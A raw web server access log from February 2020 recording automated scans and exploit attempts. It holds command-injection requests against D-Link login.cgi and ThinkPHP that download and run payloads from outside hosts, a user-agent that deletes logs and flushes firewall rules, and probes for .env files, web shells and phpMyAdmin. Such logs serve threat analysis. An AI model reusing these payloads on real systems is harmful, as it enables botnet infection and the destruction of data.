185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:01:36:43 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
120.152.100.29 - - [21/Feb/2020:01:36:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
186.235.80.56 - - [21/Feb/2020:01:45:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
167.249.102.130 - - [21/Feb/2020:01:45:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
109.102.226.187 - - [21/Feb/2020:01:48:08 +0100] "GET / HTTP/1.1" 400 6170 "-" "-"
43.239.152.183 - - [21/Feb/2020:01:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
84.241.11.230 - - [21/Feb/2020:01:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.130.103.67 - - [21/Feb/2020:01:51:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
117.232.105.98 - - [21/Feb/2020:01:53:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
190.124.162.73 - - [21/Feb/2020:01:56:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.254.103.74 - - [21/Feb/2020:01:57:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
43.239.152.241 - - [21/Feb/2020:01:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
77.247.110.15 - - [21/Feb/2020:01:59:30 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:03:54 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:04:13 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:07:06 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:07:42 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
222.161.37.89 - - [21/Feb/2020:02:08:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:41 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:42 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:43 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:45 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:46 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [21/Feb/2020:02:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
77.247.110.15 - - [21/Feb/2020:02:10:06 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:10:36 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:10:54 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:10:55 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [21/Feb/2020:02:11:36 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
27.216.245.215 - - [21/Feb/2020:02:12:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
218.63.72.113 - - [21/Feb/2020:02:15:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
172.105.11.111 - - [21/Feb/2020:02:16:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
113.68.91.166 - - [21/Feb/2020:02:16:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
87.26.48.139 - - [21/Feb/2020:02:17:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
172.105.11.111 - - [21/Feb/2020:02:31:07 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
172.105.11.111 - - [21/Feb/2020:02:31:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.11.111 - - [21/Feb/2020:02:31:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
23.120.255.180 - - [21/Feb/2020:02:33:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
178.130.103.67 - - [21/Feb/2020:02:34:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
201.28.114.19 - - [21/Feb/2020:02:39:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
89.248.171.97 - - [21/Feb/2020:02:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [21/Feb/2020:02:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
81.180.86.47 - - [21/Feb/2020:02:58:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.89.192.12 - - [21/Feb/2020:03:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
111.230.249.181 - - [21/Feb/2020:03:04:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
111.230.249.181 - - [21/Feb/2020:03:04:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
111.230.249.181 - - [21/Feb/2020:03:04:12 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
111.230.249.181 - - [21/Feb/2020:03:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
111.230.249.181 - - [21/Feb/2020:03:04:40 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
111.230.249.181 - - [21/Feb/2020:03:04:40 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
111.230.249.181 - - [21/Feb/2020:03:04:40 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
111.230.249.181 - - [21/Feb/2020:03:04:41 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.249.181 - - [21/Feb/2020:03:05:08 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.249.181 - - [21/Feb/2020:03:05:32 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.249.181 - - [21/Feb/2020:03:05:56 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.249.181 - - [21/Feb/2020:03:06:20 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.249.181 - - [21/Feb/2020:03:06:44 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.230.249.181 - - [21/Feb/2020:03:07:07 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
111.230.249.181 - - [21/Feb/2020:03:07:08 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:08 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:08 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:09 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:09 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:09 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:11 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:11 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:12 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:12 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:12 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:12 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:13 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:13 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:13 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:13 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:14 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:15 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:16 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:16 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:16 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:16 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:17 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:17 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:17 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:17 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:18 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:19 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:20 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:20 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:20 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:21 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:21 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:21 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:22 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:23 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:24 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:24 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:24 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:24 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:25 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:25 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:25 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:25 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:26 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:27 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:28 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:28 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:28 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:28 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:29 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:29 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:29 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:29 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:31 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:32 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:32 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:32 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:33 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:33 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:33 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:34 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:34 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:35 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:36 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:36 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:36 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:36 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
111.230.249.181 - - [21/Feb/2020:03:07:37 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
